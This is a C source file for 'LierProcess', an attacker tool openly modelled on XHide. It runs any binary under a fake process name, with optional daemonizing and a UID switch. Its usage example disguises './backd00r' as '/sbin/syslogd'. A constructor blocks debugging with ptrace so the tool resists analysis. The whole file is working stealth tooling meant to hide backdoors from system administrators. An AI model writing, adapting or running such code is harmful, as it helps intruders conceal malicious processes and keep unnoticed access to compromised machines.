/* LierProcess - By nITROUS < nitrousenador[at]gmail[dot]com >
 *
 * gdb + ltrace + strace + XHide + reverse eng. basic skillz = LierProcess;
 *
 * $gcc -Wall lierprocess.c -o lierprocess
 *
 * RESTRICTIONS:
 * 	-MAX_ARGUMENTS and MAX_ARG_LEN constants: but I think that with
 * 	256 arguments and each one with 256 chars may be sufficient ;).
 *
 * Mexico 20-04-06
 */

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<getopt.h>
#include<errno.h>
#include<pwd.h>
#include<sys/types.h>
#include<sys/ptrace.h>
#include<unistd.h>

void fucktrace(void) __attribute__ ((constructor));

void fucktrace(void)
{
	if(ptrace(PTRACE_TRACEME, 0, 0, 0) == -1){
		printf("Wrong Way! Mother fucker!!\n");
		exit(0xdead);
	}
}

#define MAX_ARGUMENTS	256
#define MAX_ARG_LEN	256

extern int	opterr;

#define line(x)				\
	({				\
		int	k = 0;		\
		for(k; k < x; k++)	\
			putchar('#');	\
	 	putchar('\n');		\
	 })

void header()
{
	line(63);
	fprintf(stderr, "LierProcess - By nITROUs <nitrousenador[at]gmail[dot]com>\n");
	fprintf(stderr, "Coded with reverse engineering from:\n");
	fprintf(stderr, "XHide - Process Faker, by Schizoprenic Xnuxer Research (c) 2002\n");
	line(63);
}

void usage(char *arg)
{
	header();
	fprintf(stderr, "\nOptions:\n");
	fprintf(stderr, "-s string\tFake name process\n");
	fprintf(stderr, "-d\t\tRun application as daemon (optional)\n");
	fprintf(stderr, "-u username\tChange to username\'s UID (optional)\n\n");
	fprintf(stderr, "Example: %s -s \"/sbin/syslogd -u syslog\" -d -u syslog ./backd00r bd.conf\n", arg);
	exit(EXIT_SUCCESS);
}

int main(int argc, char **argv, char **envp)
{
	struct passwd	*user;
	int	opt, daemon = 0;
	char	*binary = NULL, *fake = NULL, *username = NULL, **myargv = NULL;
	opterr = 0; /* avoid the getopt()'s "invalid option" message */

	if(argc < 4)
	       usage(*argv);

	while((opt = getopt(argc, argv, "s:u:d")) != EOF)
		switch(opt){
			case 's':
				fake = optarg;
				break;
			case 'd':
				daemon = 1;
				break;
			case 'u':
				username = optarg;
				break;
		}

	if(username){
		if((user = getpwnam(username)) == NULL){
			fprintf(stderr, "Invalid user!\n");
			exit(EXIT_FAILURE);
		}

		if(setuid(user->pw_uid) == -1){
			fprintf(stderr, "Unable to change UID\t");
			perror("setuid");
			exit(EXIT_FAILURE);
		}
	}

	/*** myargv construction ***/
	myargv = (char **) malloc(MAX_ARGUMENTS * sizeof(char *));

	myargv[0] = (char *) malloc(MAX_ARG_LEN);
	memset(myargv[0], ' ', MAX_ARG_LEN - 1);
	strncpy(myargv[0], fake, MAX_ARG_LEN - 1);
	myargv[0][MAX_ARG_LEN - 1] = '\0';

	binary = argv[optind]; /* program to launch */
	optind++;
	int	cont = 1;
	while(argv[optind]){
		myargv[cont] = (char *) malloc(MAX_ARG_LEN);
		strncpy(myargv[cont], argv[optind], MAX_ARG_LEN - 1);
		cont++;
		optind++;
	}
	myargv[cont] = NULL;
	/******/

	header();

	if(daemon){
		switch(fork()){
			case -1:
				perror("fork");
				exit(EXIT_FAILURE);
			case 0: /* Child */
				line(63);
				printf("==> Fakename: %s\tPID: %d\n",\
						fake, getpid());
				line(63);

				execve(binary, myargv, envp);

				perror("execve");
				return -1;
			default: /* Parent */
				exit(EXIT_SUCCESS);
		}
	}

	line(63);
	printf("==> Fakename: %s\tPID: %d\n", fake, getpid());
	line(63);

	execve(binary, myargv, envp);

	printf("%s", argv[0]);	perror("execve");
	return -1;
}
